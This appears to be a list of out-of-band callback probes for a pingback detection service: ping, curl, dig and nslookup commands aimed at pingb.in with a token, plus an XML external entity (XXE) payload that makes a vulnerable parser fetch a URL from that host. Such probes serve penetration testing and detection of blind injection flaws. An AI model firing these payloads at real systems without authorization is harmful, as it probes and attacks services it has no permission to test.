$ ping -c1 -p 009008966feda9e75aace5a2aae35d00 pingb.in
$ curl pingb.in/p/9008966feda9e75aace5a2aae35d
$ dig 9008966feda9e75aace5a2aae35d @pingb.in
$ dig 9008966feda9e75aace5a2aae35d.ns.pingb.in
C:\> nslookup 9008966feda9e75aace5a2aae35d pingb.in
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "http://pingb.in/p/9008966feda9e75aace5a2aae35d">]> <foo>&xxe;</foo>